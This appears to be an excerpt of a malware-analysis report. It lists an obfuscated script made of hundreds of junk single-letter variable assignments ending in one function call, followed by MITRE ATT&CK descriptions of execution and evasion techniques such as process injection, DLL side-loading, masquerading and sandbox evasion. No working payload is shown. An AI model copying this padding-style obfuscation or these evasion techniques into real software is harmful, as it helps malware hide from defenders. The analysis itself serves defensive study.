414	joujvxa = "E";
415	joujvxa = "H";
416	joujvxa = "M";
417	joujvxa = "G";
418	joujvxa = "v";
419	joujvxa = "U";
420	joujvxa = "P";
421	joujvxa = "D";
422	joujvxa = "x";
423	joujvxa = "A";
424	joujvxa = "k";
425	joujvxa = "x";
426	joujvxa = "n";
427	joujvxa = "K";
428	joujvxa = "V";
429	joujvxa = "X";
430	joujvxa = "w";
431	joujvxa = "g";
432	joujvxa = "m";
433	joujvxa = "t";
434	joujvxa = "x";
435	joujvxa = "B";
436	joujvxa = "r";
437	joujvxa = "f";
438	joujvxa = "W";
439	joujvxa = "L";
440	joujvxa = "w";
441	hvqrhki = "Q";
442	hvqrhki = "p";
443	hvqrhki = "J";
444	hvqrhki = "U";
445	hvqrhki = "t";
446	hvqrhki = "m";
447	wtvjh = "a";
448	wtvjh = "q";
449	wtvjh = "n";
450	wtvjh = "U";
451	wtvjh = "s";
452	wtvjh = "a";
453	wtvjh = "B";
454	wtvjh = "B";
455	wtvjh = "K";
456	wtvjh = "N";
457	wtvjh = "M";
458	wtvjh = "X";
459	wtvjh = "a";
460	wtvjh = "c";
461	wtvjh = "R";
462	wtvjh = "Q";
463	wtvjh = "x";
464	wtvjh = "S";
465	wtvjh = "u";
466	wtvjh = "G";
467	wtvjh = "E";
468	lvlvkmfb = "w";
469	lvlvkmfb = "Z";
470	lvlvkmfb = "p";
471	lvlvkmfb = "j";
472	lvlvkmfb = "l";
473	lvlvkmfb = "R";
474	lvlvkmfb = "X";
475	lvlvkmfb = "q";
476	lvlvkmfb = "Y";
477	lvlvkmfb = "I";
478	lvlvkmfb = "u";
479	lvlvkmfb = "q";
480	lvlvkmfb = "b";
481	lvlvkmfb = "D";
482	lvlvkmfb = "O";
483	lvlvkmfb = "e";
484	lvlvkmfb = "z";
485	lvlvkmfb = "L";
486	lvlvkmfb = "R";
487	lvlvkmfb = "c";
488	lvlvkmfb = "Z";
489	lvlvkmfb = "E";
490	lvlvkmfb = "r";
491	lvlvkmfb = "p";
492	lvlvkmfb = "B";
493	lvlvkmfb = "v";
494	lvlvkmfb = "O";
495	lvlvkmfb = "L";
496	lvlvkmfb = "s";
497	jppfioe = "Q";
498	jppfioe = "t";
499	jppfioe = "N";
500	unwzqend = "C";
501	unwzqend = "U";
502	unwzqend = "w";
503	unwzqend = "f";
504	unwzqend = "K";
505	unwzqend = "f";
506	unwzqend = "z";
507	unwzqend = "s";
508	unwzqend = "Y";
509	unwzqend = "O";
510	unwzqend = "S";
511	unwzqend = "q";
512	unwzqend = "A";
513	unwzqend = "b";
514	unwzqend = "R";
515	unwzqend = "M";
516	unwzqend = "y";
517	unwzqend = "m";
518	unwzqend = "r";
519	unwzqend = "g";
520	unwzqend = "Y";
521	unwzqend = "O";
522	unwzqend = "j";
523	unwzqend = "m";
524	unwzqend = "v";
525	unwzqend = "p";
526	unwzqend = "Q";
527	unwzqend = "y";
528	unwzqend = "E";
529	unwzqend = "n";
530	unwzqend = "f";
531	unwzqend = "L";
532	unwzqend = "q";
533	unwzqend = "h";
534	unwzqend = "z";
535	unwzqend = "S";
536	unwzqend = "J";
537	unwzqend = "M";
538	unwzqend = "S";
539	unwzqend = "y";
540	unwzqend = "F";
541	unwzqend = "k";
542	unwzqend = "_";
543	ncxhkga = "q";
544	ncxhkga = "V";
545	ncxhkga = "D";
546	ncxhkga = "d";
547	ncxhkga = "t";
548	ncxhkga = "U";
549	ncxhkga = "W";
550	ncxhkga = "C";
551	bkkhjcaay = "O";
552	bkkhjcaay = "Z";
553	bkkhjcaay = "D";
554	bkkhjcaay = "q";
555	bkkhjcaay = "g";
556	bkkhjcaay = "E";
557	bkkhjcaay = "C";
558	bkkhjcaay = "x";
559	bkkhjcaay = "e";
560	bkkhjcaay = "m";
561	bkkhjcaay = "W";
562	bkkhjcaay = "f";
563	bkkhjcaay = "h";
564	bkkhjcaay = "Q";
565	bkkhjcaay = "B";
566	bkkhjcaay = "N";
567	bkkhjcaay = "a";
568	bkkhjcaay = "z";
569	bkkhjcaay = "i";
570	bkkhjcaay = "s";
571	bkkhjcaay = "D";
572	bkkhjcaay = "Z";
573	bkkhjcaay = "n";
574	bkkhjcaay = "X";
575	bkkhjcaay = "Z";
576	bkkhjcaay = "q";
577	bkkhjcaay = "d";
578	bkkhjcaay = "v";
579	bkkhjcaay = "g";
580	bkkhjcaay = "s";
581	bkkhjcaay = "a";
582	bkkhjcaay = "j";
583	bkkhjcaay = "b";
584	bkkhjcaay = "u";
585	bkkhjcaay = "M";
586	bkkhjcaay = "K";
587	bkkhjcaay = "R";
588	itozdnkrd = "A";
589	itozdnkrd = "L";
590	itozdnkrd = "A";
591	itozdnkrd = "v";
592	itozdnkrd = "N";
593	itozdnkrd = "M";
594	itozdnkrd = "V";
595	itozdnkrd = "p";
596	itozdnkrd = "E";
597	itozdnkrd = "Z";
598	itozdnkrd = "U";
599	itozdnkrd = "g";
600	itozdnkrd = "k";
601	itozdnkrd = "k";
602	itozdnkrd = "p";
603	itozdnkrd = "Z";
604	itozdnkrd = "Z";
605	itozdnkrd = "F";
606	itozdnkrd = "w";
607	itozdnkrd = "V";
608	itozdnkrd = "k";
609	muzlc = "n";
610	muzlc = "r";
611	muzlc = "t";
612	muzlc = "C";
613	muzlc = "B";
614	muzlc = "g";
615	muzlc = "e";
616	muzlc = "E";
617	muzlc = "o";
618	muzlc = "y";
619	muzlc = "C";
620	muzlc = "y";
621	muzlc = "k";
622	muzlc = "z";
623	muzlc = "C";
624	muzlc = "X";
625	muzlc = "e";
626	muzlc = "R";
627	muzlc = "m";
628	muzlc = "k";
629	muzlc = "Z";
630	muzlc = "I";
631	muzlc = "o";
632	muzlc = "W";
633	muzlc = "m";
634	muzlc = "t";
635	muzlc = "T";
636	muzlc = "y";
637	muzlc = "p";
638	muzlc = "D";
639	muzlc = "Y";
640	muzlc = "C";
641	muzlc = "o";
642	muzlc = "i";
643	muzlc = "H";
644	muzlc = "b";
645	muzlc = "Q";
646	muzlc = "L";
647	muzlc = "U";
648	kfwxgo = "F";
649	kfwxgo = "x";
650	kfwxgo = "K";
651	kfwxgo = "K";
652	kfwxgo = "U";
653	kfwxgo = "s";
654	kfwxgo = "K";
655	kfwxgo = "U";
656	kfwxgo = "H";
657	kfwxgo = "f";
658	kfwxgo = "k";
659	kfwxgo = "L";
660	kfwxgo = "J";
661	kfwxgo = "U";
662	kfwxgo = "a";
663	kfwxgo = "K";
664	kfwxgo = "v";
665	kfwxgo = "t";
666	kfwxgo = "O";
667	kfwxgo = "s";
668	kfwxgo = "N";
669	kfwxgo = "n";
670	kfwxgo = "z";
671	kfwxgo = "X";
672	kfwxgo = "r";
673	kfwxgo = "C";
674	kfwxgo = "y";
675	kfwxgo = "X";
676	kfwxgo = "v";
677	kfwxgo = "V";
678	kfwxgo = "c";
679	kfwxgo = "E";
680	kfwxgo = "d";
681	kfwxgo = "B";
682	kfwxgo = "l";
683	kfwxgo = "E";
684	kfwxgo = "3";
685	huftqg = "j";
686	huftqg = "l";
687	huftqg = "u";
688	huftqg = "t";
689	huftqg = "i";
690	huftqg = "l";
691	huftqg = "X";
692	huftqg = "F";
693	huftqg = "%";
694	lclwzgmzy = "M";
695	lclwzgmzy = "z";
696	lclwzgmzy = "p";
697	ekhhqa = "d";
698	ekhhqa = "f";
699	ekhhqa = "z";
700	ekhhqa = "W";
701	ekhhqa = "q";
702	ekhhqa = "h";
703	ekhhqa = "N";
704	ekhhqa = "d";
705	ekhhqa = "W";
706	ekhhqa = "A";
707	ekhhqa = "A";
708	ekhhqa = "H";
709	ekhhqa = "v";
710	ekhhqa = "b";
711	ekhhqa = "Y";
712	ekhhqa = "J";
713	ekhhqa = "b";
714	ekhhqa = "E";
715	ekhhqa = "q";
716	ekhhqa = "V";
717	ekhhqa = "x";
718	ekhhqa = "N";
719	ekhhqa = "x";
720	ekhhqa = "N";
721	ekhhqa = "y";
722	ekhhqa = "G";
723	ekhhqa = "N";
724	ekhhqa = "h";
725	ekhhqa = "e";
726	ekhhqa = "h";
727	ekhhqa = "b";
728	ekhhqa = "o";
729	ekhhqa = "B";
730	ekhhqa = "g";
731	ekhhqa = "M";
732	ekhhqa = "r";
733	ekhhqa = "e";
734	ekhhqa = "h";
735	ekhhqa = "u";
736	ekhhqa = "B";
737	ekhhqa = "g";
738	ekhhqa = "x";
739	ekhhqa = "I";
740	eelfmtgrr = "i";
741	eelfmtgrr = "J";
742	eelfmtgrr = "v";
743	eelfmtgrr = "C";
744	eelfmtgrr = "M";
745	eelfmtgrr = "C";
746	eelfmtgrr = "t";
747	eelfmtgrr = "t";
748	eelfmtgrr = "F";
749	eelfmtgrr = "R";
750	eelfmtgrr = "e";
751	eelfmtgrr = "f";
752	eelfmtgrr = "l";
753	eelfmtgrr = "l";
754	eelfmtgrr = "s";
755	eelfmtgrr = "v";
756	eelfmtgrr = "b";
757	ujxmmgo = "x";
758	ujxmmgo = "C";
759	ujxmmgo = "O";
760	ujxmmgo = "M";
761	ujxmmgo = "b";
762	ujxmmgo = "s";
763	ujxmmgo = "N";
764	ujxmmgo = "O";
765	ujxmmgo = "N";
766	ujxmmgo = "B";
767	ujxmmgo = "k";
768	ujxmmgo = "U";
769	ujxmmgo = "E";
770	ujxmmgo = "w";
771	ujxmmgo = "S";
772	ujxmmgo = "B";
773	ujxmmgo = "x";
774	ujxmmgo = "g";
775	ujxmmgo = "F";
776	ujxmmgo = "q";
777	ujxmmgo = "r";
778	ujxmmgo = "I";
779	ujxmmgo = "z";
780	ujxmmgo = "f";
781	ujxmmgo = "B";
782	ujxmmgo = "w";
783	ujxmmgo = "O";
784	ujxmmgo = "U";
785	ujxmmgo = "p";
786	ujxmmgo = "Q";
787	ujxmmgo = "d";
788	ujxmmgo = "v";
789	ujxmmgo = "E";
790	ujxmmgo = "d";
791	ujxmmgo = "c";
792	ujxmmgo = "l";
793	ujxmmgo = "P";
794	ujxmmgo = "D";
795	ujxmmgo = "x";
796	ujxmmgo = "C";
797	ujxmmgo = "K";
798	ujxmmgo = "r";
799	ujxmmgo = "R";
800	ujxmmgo = "Y";
801	ujxmmgo = "l";
802	usghisqdf = "C";
803	usghisqdf = "J";
804	usghisqdf = "t";
805	usghisqdf = "E";
806	usghisqdf = "z";
807	usghisqdf = "F";
808	usghisqdf = ".";
809	epwaeb = "B";
810	epwaeb = "X";
811	epwaeb = "W";
812	epwaeb = "C";
813	epwaeb = "O";
814	epwaeb = "V";
815	epwaeb = "X";
816	epwaeb = "j";
817	epwaeb = "P";
818	epwaeb = "F";
819	epwaeb = "S";
820	epwaeb = "v";
821	epwaeb = "Q";
822	epwaeb = "V";
823	epwaeb = "f";
824	epwaeb = "b";
825	epwaeb = "P";
826	epwaeb = "F";
827	epwaeb = "v";
828	epwaeb = "l";
829	epwaeb = "j";
830	epwaeb = "I";
831	epwaeb = "F";
832	epwaeb = "a";
833	vknzfdzc = "e";
834	vknzfdzc = "O";
835	vknzfdzc = "Z";
836	vknzfdzc = "T";
837	vknzfdzc = "e";
838	vknzfdzc = "q";
839	vknzfdzc = "U";
840	vknzfdzc = "Z";
841	vknzfdzc = "U";
842	vknzfdzc = "T";
843	vknzfdzc = "j";
844	vknzfdzc = "4";
845	grgzp = "q";
846	grgzp = "A";
847	grgzp = "H";
848	grgzp = "v";
849	grgzp = "Q";
850	grgzp = "e";
851	grgzp = "f";
852	grgzp = "w";
853	grgzp = "/";
854	caalieuiy = "M";
855	caalieuiy = "o";
856	caalieuiy = "W";
857	caalieuiy = "u";
858	caalieuiy = "j";
859	caalieuiy = "D";
860	caalieuiy = "w";
861	caalieuiy = "e";
862	caalieuiy = "J";
863	caalieuiy = "x";
864	caalieuiy = "Q";
865	caalieuiy = "K";
866	caalieuiy = "Q";
867	caalieuiy = "s";
868	caalieuiy = "K";
869	caalieuiy = "Z";
870	caalieuiy = "j";
871	caalieuiy = "e";
872	qaztlff = "z";
873	qaztlff = "i";
874	qaztlff = "U";
875	qaztlff = "a";
876	qaztlff = "H";
877	qaztlff = "O";
878	qaztlff = "i";
879	qaztlff = "A";
880	qaztlff = "A";
881	qaztlff = "g";
882	qaztlff = "E";
883	qaztlff = "Z";
884	qaztlff = "s";
885	qaztlff = "m";
886	qaztlff = "x";
887	qaztlff = "n";
888	qaztlff = "g";
889	qaztlff = "e";
890	qaztlff = "C";
891	qaztlff = "W";
892	qaztlff = "X";
893	qaztlff = "n";
894	qaztlff = "w";
895	qaztlff = "R";
896	qaztlff = "@";
897	yxkpyuhab = "g";
898	yxkpyuhab = "E";
899	yxkpyuhab = "a";
900	yxkpyuhab = "D";
901	yxkpyuhab = "D";
902	yxkpyuhab = "u";
903	yxkpyuhab = "j";
904	yxkpyuhab = "H";
905	yxkpyuhab = "A";
906	yxkpyuhab = "Y";
907	yxkpyuhab = "L";
908	yxkpyuhab = "s";
909	yxkpyuhab = "D";
910	yxkpyuhab = "l";
911	yxkpyuhab = "v";
912	yxkpyuhab = "k";
913	yxkpyuhab = "F";
914	yxkpyuhab = "O";
915	yxkpyuhab = "I";
916	yxkpyuhab = "q";
917	yxkpyuhab = "z";
918	yxkpyuhab = "m";
919	yxkpyuhab = "j";
920	yxkpyuhab = "n";
921	yxkpyuhab = "u";
922	yxkpyuhab = "u";
923	yxkpyuhab = "O";
924	yxkpyuhab = "s";
925	yxkpyuhab = "h";
926	yxkpyuhab = "d";
927	yxkpyuhab = "J";
928	yxkpyuhab = "N";
929	yxkpyuhab = "S";
930	yxkpyuhab = "N";
931	yxkpyuhab = "x";
932	yxkpyuhab = "H";
933	yxkpyuhab = "Z";
934	yxkpyuhab = "E";
935	yxkpyuhab = "J";
936	yxkpyuhab = "y";
937	yxkpyuhab = "Q";
938	pnlsod = "I";
939	pnlsod = "w";
940	pnlsod = "Q";
941	pnlsod = "B";
942	pnlsod = "Y";
943	pnlsod = "f";
944	pnlsod = "R";
945	pnlsod = "i";
946	pnlsod = "n";
947	pnlsod = "P";
948	pnlsod = "Q";
949	pnlsod = "U";
950	pnlsod = "A";
951	pnlsod = "y";
952	pnlsod = "s";
953	pnlsod = "G";
954	pnlsod = "U";
955	pnlsod = "m";
956	pnlsod = "A";
957	pnlsod = "A";
958	pnlsod = "G";
959	pnlsod = "u";
960	pnlsod = "G";
961	pnlsod = "i";
962	pnlsod = "a";
963	pnlsod = "x";
964	pnlsod = "H";
965	pnlsod = "N";
966	pnlsod = "V";
967	pnlsod = "u";
968	pnlsod = "n";
969	pnlsod = "T";
970	pnlsod = "T";
971	pnlsod = "h";
972	pnlsod = "Z";
973	pnlsod = "U";
974	pnlsod = "x";
975	pnlsod = "p";
976	pnlsod = "H";
977	pnlsod = "o";
978	uoximit = "A";
979	uoximit = "P";
980	uoximit = "r";
981	uoximit = "B";
982	uoximit = "v";
983	uoximit = "j";
984	uoximit = "i";
985	uoximit = "z";
986	uoximit = "P";
987	uoximit = "T";
988	uoximit = "k";
989	uoximit = "f";
990	uoximit = "V";
991	uoximit = "O";
992	uoximit = "d";
993	uoximit = "T";
994	uoximit = "d";
995	hcuqpxbx = "r";
996	hcuqpxbx = "V";
997	hcuqpxbx = "b";
998	hcuqpxbx = "L";
999	hcuqpxbx = "M";
1000	hcuqpxbx = "q";
1001	hcuqpxbx = "R";
1002	hcuqpxbx = "W";
1003	hcuqpxbx = "T";
1004	hcuqpxbx = "E";
1005	hcuqpxbx = "n";
1006	hcuqpxbx = "b";
1007	hcuqpxbx = "G";
1008	hcuqpxbx = "w";
1009	hcuqpxbx = "S";
1010	hcuqpxbx = "Y";
1011	hcuqpxbx = "t";
1012	zrjeabb = "H";
1013	zrjeabb = "U";
1014	zrjeabb = "f";
1015	zrjeabb = "h";
1016	zrjeabb = "B";
1017	zrjeabb = "C";
1018	zrjeabb = "D";
1019	zrjeabb = "r";
1020	zrjeabb = "Z";
1021	zrjeabb = "T";
1022	zrjeabb = "U";
1023	zrjeabb = "W";
1024	zrjeabb = "v";
1025	zrjeabb = "p";
1026	zrjeabb = "d";
1027	zrjeabb = "Z";
1028	zrjeabb = "v";
1029	zrjeabb = "l";
1030	zrjeabb = "J";
1031	zrjeabb = "k";
1032	zrjeabb = "G";
1033	zrjeabb = "Z";
1034	zrjeabb = "m";
1035	zrjeabb = "X";
1036	zrjeabb = "T";
1037	zrjeabb = "O";
1038	zrjeabb = "2";
1039	uozam = "j";
1040	uozam = "z";
1041	uozam = "k";
1042	uozam = "E";
1043	uozam = "n";
1044	uozam = "K";
1045	uozam = "l";
1046	uozam = "K";
1047	uozam = "C";
1048	uozam = "Q";
1049	uozam = "V";
1050	uozam = "o";
1051	uozam = "A";
1052	uozam = "C";
1053	uozam = "g";
1054	uozam = "z";
1055	uozam = "R";
1056	uozam = "l";
1057	uozam = "K";
1058	uozam = "a";
1059	uozam = "K";
1060	uozam = "J";
1061	uozam = "t";
1062	uozam = "x";
1063	uozam = "n";
1064	uozam = "k";
1065	uozam = "I";
1066	uozam = "z";
1067	uozam = "d";
1068	uozam = "g";
1069	uozam = "R";
1070	uozam = "v";
1071	uozam = "O";
1072	uozam = "F";
1073	qgeqf = "W";
1074	qgeqf = "n";
1075	qgeqf = "N";
1076	qgeqf = "s";
1077	qgeqf = "9";
1078	xvguhvvjv = "v";
1079	xvguhvvjv = "g";
1080	xvguhvvjv = "Z";
1081	xvguhvvjv = "r";
1082	xvguhvvjv = "X";
1083	xvguhvvjv = "s";
1084	xvguhvvjv = "B";
1085	xvguhvvjv = "A";
1086	xvguhvvjv = "k";
1087	xvguhvvjv = "u";
1088	xvguhvvjv = "Z";
1089	xvguhvvjv = "a";
1090	xvguhvvjv = "T";
1091	xvguhvvjv = "U";
1092	xvguhvvjv = "N";
1093	xvguhvvjv = "f";
1094	xvguhvvjv = "j";
1095	xvguhvvjv = "D";
1096	xvguhvvjv = "o";
1097	xvguhvvjv = "c";
1098	xvguhvvjv = "J";
1099	xvguhvvjv = "h";
1100	xvguhvvjv = "R";
1101	xvguhvvjv = "A";
1102	xvguhvvjv = "Z";
1103	xvguhvvjv = "V";
1104	xvguhvvjv = "p";
1105	xvguhvvjv = "J";
1106	xvguhvvjv = "v";
1107	xvguhvvjv = "f";
1108	xvguhvvjv = "r";
1109	xvguhvvjv = "v";
1110	xvguhvvjv = "V";
1111	xvguhvvjv = "O";
1112	xvguhvvjv = "e";
1113	xvguhvvjv = "\\";
1114	uaehdw = "T";
1115	uaehdw = "y";
1116	uaehdw = "k";
1117	uaehdw = "O";
1118	uaehdw = "u";
1119	uaehdw = "A";
1120	uaehdw = "q";
1121	uaehdw = "Q";
1122	uaehdw = "F";
1123	uaehdw = "D";
1124	uaehdw = "F";
1125	uaehdw = "Q";
1126	uaehdw = "D";
1127	uaehdw = "R";
1128	uaehdw = "x";
1129	uaehdw = ":";
1130	qkvhhwge = "e";
1131	qkvhhwge = "s";
1132	qkvhhwge = "e";
1133	qkvhhwge = "U";
1134	qkvhhwge = "x";
1135	qkvhhwge = "W";
1136	qkvhhwge = "v";
1137	qkvhhwge = "l";
1138	qkvhhwge = "v";
1139	qkvhhwge = "F";
1140	qkvhhwge = "j";
1141	qkvhhwge = "J";
1142	qkvhhwge = "T";
1143	qkvhhwge = "G";
1144	qkvhhwge = "q";
1145	qkvhhwge = "P";
1146	qkvhhwge = "v";
1147	qkvhhwge = "P";
1148	qkvhhwge = "R";
1149	qkvhhwge = "J";
1150	qkvhhwge = "H";
1151	qkvhhwge = "t";
1152	qkvhhwge = "y";
1153	qkvhhwge = "p";
1154	qkvhhwge = "j";
1155	qkvhhwge = "o";
1156	qkvhhwge = "I";
1157	qkvhhwge = "O";
1158	qkvhhwge = "R";
1159	qkvhhwge = "r";
1160	qkvhhwge = "Z";
1161	qkvhhwge = "b";
1162	qkvhhwge = "Y";
1163	kjywfmp = "t";
1164	kjywfmp = "z";
1165	kjywfmp = "c";
1166	kjywfmp = "c";
1167	kjywfmp = "O";
1168	kjywfmp = "R";
1169	kjywfmp = "Q";
1170	kjywfmp = "y";
1171	kjywfmp = "w";
1172	kjywfmp = "z";
1173	kjywfmp = "S";
1174	kjywfmp = "M";
1175	kjywfmp = "l";
1176	kjywfmp = "a";
1177	kjywfmp = "Q";
1178	kjywfmp = "B";
1179	kjywfmp = "o";
1180	kjywfmp = "J";
1181	kjywfmp = "h";
1182	kjywfmp = "q";
1183	kjywfmp = "y";
1184	kjywfmp = "w";
1185	kjywfmp = "r";
1186	kjywfmp = "m";
1187	kjywfmp = "G";
1188	kjywfmp = "S";
1189	kjywfmp = "c";
1190	kjywfmp = "V";
1191	kjywfmp = "O";
1192	kjywfmp = "L";
1193	kjywfmp = "n";
1194	kjywfmp = "W";
1195	kjywfmp = "g";
1196	kjywfmp = "y";
1197	kjywfmp = "x";
1198	kjywfmp = "V";
1199	kjywfmp = "m";
1200	kjywfmp = "r";
1201	kjywfmp = "a";
1202	kjywfmp = "i";
1203	kjywfmp = "P";
1204	kjywfmp = "g";
1205	ikiiiivyk = "B";
1206	ikiiiivyk = "U";
1207	ikiiiivyk = "F";
1208	ikiiiivyk = "O";
1209	ikiiiivyk = "j";
1210	ikiiiivyk = "b";
1211	ikiiiivyk = "x";
1212	ikiiiivyk = "Z";
1213	ikiiiivyk = "q";
1214	ikiiiivyk = "c";
1215	ikiiiivyk = "A";
1216	ikiiiivyk = "w";
1217	ikiiiivyk = "o";
1218	ikiiiivyk = "k";
1219	ikiiiivyk = "u";
1220	ikiiiivyk = "t";
1221	ikiiiivyk = "g";
1222	ikiiiivyk = "y";
1223	ikiiiivyk = "W";
1224	ikiiiivyk = "J";
1225	ikiiiivyk = "t";
1226	ikiiiivyk = "z";
1227	ikiiiivyk = "s";
1228	ikiiiivyk = "Q";
1229	ikiiiivyk = "G";
1230	ikiiiivyk = "c";
1231	ikiiiivyk = "b";
1232	ikiiiivyk = "F";
1233	ikiiiivyk = "b";
1234	ikiiiivyk = "d";
1235	ikiiiivyk = "Z";
1236	ikiiiivyk = "p";
1237	ikiiiivyk = "n";
1238	ikiiiivyk = "z";
1239	ikiiiivyk = "g";
1240	ikiiiivyk = "K";
1241	ikiiiivyk = "e";
1242	ikiiiivyk = "s";
1243	ikiiiivyk = "I";
1244	ikiiiivyk = "b";
1245	ikiiiivyk = "t";
1246	ikiiiivyk = "0";
1247	eivrkwzoc = "Q";
1248	eivrkwzoc = "O";
1249	eivrkwzoc = "A";
1250	eivrkwzoc = "l";
1251	eivrkwzoc = "r";
1252	eivrkwzoc = "x";
1253	eivrkwzoc = "d";
1254	eivrkwzoc = "d";
1255	eivrkwzoc = "i";
1256	eivrkwzoc = "B";
1257	eivrkwzoc = "o";
1258	eivrkwzoc = "X";
1259	eivrkwzoc = "M";
1260	eivrkwzoc = "o";
1261	eivrkwzoc = "C";
1262	eivrkwzoc = "V";
1263	eivrkwzoc = "M";
1264	eivrkwzoc = "y";
1265	eivrkwzoc = "V";
1266	eivrkwzoc = "o";
1267	eivrkwzoc = "p";
1268	eivrkwzoc = "m";
1269	eivrkwzoc = "X";
1270	eivrkwzoc = "A";
1271	eivrkwzoc = "Q";
1272	eivrkwzoc = "-";
1273	aaxtldunz = "X";
1274	aaxtldunz = "h";
1275	aaxtldunz = "C";
1276	aaxtldunz = "w";
1277	aaxtldunz = "H";
1278	aaxtldunz = "P";
1279	xofzdtd = "L";
1280	xofzdtd = "u";
1281	xofzdtd = "X";
1282	xofzdtd = "Y";
1283	xofzdtd = "g";
1284	xofzdtd = "y";
1285	xofzdtd = "o";
1286	xofzdtd = "&";
1287	reykagitp = "x";
1288	reykagitp = "q";
1289	reykagitp = "i";
1290	reykagitp = "W";
1291	reykagitp = "y";
1292	reykagitp = "z";
1293	reykagitp = "G";
1294	reykagitp = "Z";
1295	reykagitp = "I";
1296	reykagitp = "S";
1297	reykagitp = "u";
1298	reykagitp = "d";
1299	reykagitp = " ";
1300	izprcj = "a";
1301	izprcj = "b";
1302	izprcj = "p";
1303	izprcj = "L";
1304	izprcj = "b";
1305	izprcj = "h";
1306	izprcj = "r";
1307	izprcj = "I";
1308	izprcj = "Y";
1309	izprcj = "p";
1310	izprcj = "K";
1311	izprcj = "n";
1312	izprcj = "B";
1313	izprcj = "G";
1314	izprcj = "X";
1315	izprcj = "v";
1316	rvhorikxs ( );	rvhorikxs() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
